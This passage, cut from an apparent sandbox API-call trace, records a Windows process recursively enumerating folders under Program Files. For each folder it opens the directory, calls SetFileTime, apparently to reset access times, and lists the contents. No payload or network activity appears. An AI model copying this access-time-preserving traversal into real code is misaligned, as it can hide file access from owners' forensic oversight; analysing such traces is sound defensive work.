lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.490] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.537] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.537] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0248.537] GetLastError () returned 0x12 [0248.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0248.537] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.583] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.583] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.583] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0248.584] GetLastError () returned 0x12 [0248.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.584] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.584] GetLastError () returned 0x12 [0248.584] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0248.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0248.584] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.584] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.585] GetLastError () returned 0x12 [0248.585] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0248.585] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0248.585] GetLastError () returned 0x12 [0248.585] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.585] GetLastError () returned 0x12 [0248.585] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.585] GetLastError () returned 0x12 [0248.585] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.585] GetLastError () returned 0x12 [0248.585] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0248.586] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.586] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.586] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0248.586] GetLastError () returned 0x12 [0248.586] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0248.586] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.586] GetLastError () returned 0x12 [0248.586] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.587] GetLastError () returned 0x12 [0248.587] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.587] GetLastError () returned 0x12 [0248.587] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.630] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0248.630] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0248.630] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd620 [0248.631] GetLastError () returned 0x12 [0248.631] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd560 [0248.631] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.631] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.631] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.631] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd620 [0248.686] GetLastError () returned 0x12 [0248.686] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0248.686] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0248.687] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.687] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.687] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0248.688] GetLastError () returned 0x12 [0248.688] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0248.688] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0248.688] GetLastError () returned 0x12 [0248.688] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0248.689] GetLastError () returned 0x12 [0248.689] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.689] GetLastError () returned 0x12 [0248.689] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff083d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff083d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.689] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0248.689] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0248.689] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd560 [0248.689] GetLastError () returned 0x12 [0248.689] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0248.690] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.690] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0248.690] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0248.690] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0248.690] GetLastError () returned 0x12 [0248.690] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0248.690] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.724] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.725] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.725] GetLastError () returned 0x12 [0248.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0248.725] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.771] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.771] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.771] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.772] GetLastError () returned 0x12 [0248.772] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.772] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0248.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.773] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.773] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.773] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0248.774] GetLastError () returned 0x12 [0248.774] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0248.774] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.776] 